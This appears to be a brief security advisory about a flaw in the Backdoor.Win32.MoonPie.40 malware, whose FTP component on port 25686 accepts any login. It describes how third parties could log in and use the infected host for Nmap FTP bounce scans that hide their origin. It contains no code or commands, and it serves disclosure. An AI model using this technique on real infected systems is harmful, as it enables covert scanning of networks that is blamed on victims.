Threat: Backdoor.Win32.MoonPie.40
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 25686, its FTP component accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
